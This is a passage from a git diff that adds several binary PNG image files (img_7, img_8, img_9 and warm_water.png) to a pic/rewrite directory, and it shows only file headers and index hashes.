b/pic/rewrite/img_7.png new file mode 100644 index 00000000..09e299bb Binary files /dev/null and b/pic/rewrite/img_7.png differ diff --git a/pic/rewrite/img_8.png b/pic/rewrite/img_8.png new file mode 100644 index 00000000..68c7f86d Binary files /dev/null and b/pic/rewrite/img_8.png differ diff --git a/pic/rewrite/img_9.png b/pic/rewrite/img_9.png new file mode 100644 index 00000000..47e1053e Binary files /dev/null and b/pic/rewrite/img_9.png differ diff --git a/pic/rewrite/warm_water.png b/pic/rewrite/warm_water.png new file mode 100644 index 00000000..6a6f8d3d Binary files /dev/null and b/pic/rewrite/warm_water.png differ